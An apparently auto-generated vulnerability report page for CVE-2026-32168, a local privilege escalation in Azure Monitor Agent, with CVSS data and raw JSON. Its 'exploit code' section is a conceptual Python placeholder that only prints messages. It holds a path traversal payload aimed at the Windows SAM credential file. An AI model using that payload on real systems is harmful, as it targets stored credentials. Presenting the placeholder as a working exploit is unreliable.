Security Vulnerability Report
中文
CVE-2026-32168 CVSS 7.8 HIGH

CVE-2026-32168

Published: 2026-04-14 18:17:20
Last Modified: 2026-05-06 18:21:58

Description

Improper input validation in Azure Monitor Agent allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_monitor_agent:*:*:*:*:*:*:*:* - VULNERABLE
Azure Monitor Agent (具体受影响版本请参考Microsoft官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Conceptual Proof of Concept (PoC) for CVE-2026-32168 # This script demonstrates the logic flow to exploit the improper input validation. # Note: Actual exploitation requires specific knowledge of the Agent's IPC mechanism. import subprocess import sys def exploit_lpe(): print("[*] CVE-2026-32168 PoC - Azure Monitor Agent LPE") print("[*] Checking current user privileges...") # In a real scenario, the attacker identifies the vulnerable input vector # e.g., a configuration file, a named pipe, or a specific API endpoint. malicious_payload = "../../../../../../Windows/System32/config/SAM" # Or a command injection payload depending on the validation flaw type. print(f"[*] Crafting malicious payload: {malicious_payload}") try: # Simulating the interaction with the vulnerable component # subprocess.run(["vuln_agent_process", malicious_payload], check=True) print("[!] Triggering the vulnerability...") print("[!] If successful, privileges should be escalated to SYSTEM/Admin.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit_lpe()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32168", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:17:19.687", "lastModified": "2026-05-06T18:21:58.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in Azure Monitor Agent allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_monitor_agent:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.35.9", "matchCriteriaId": "3B8A1C65-34F4-429E-8DBF-FA336DA2D90E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32168", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}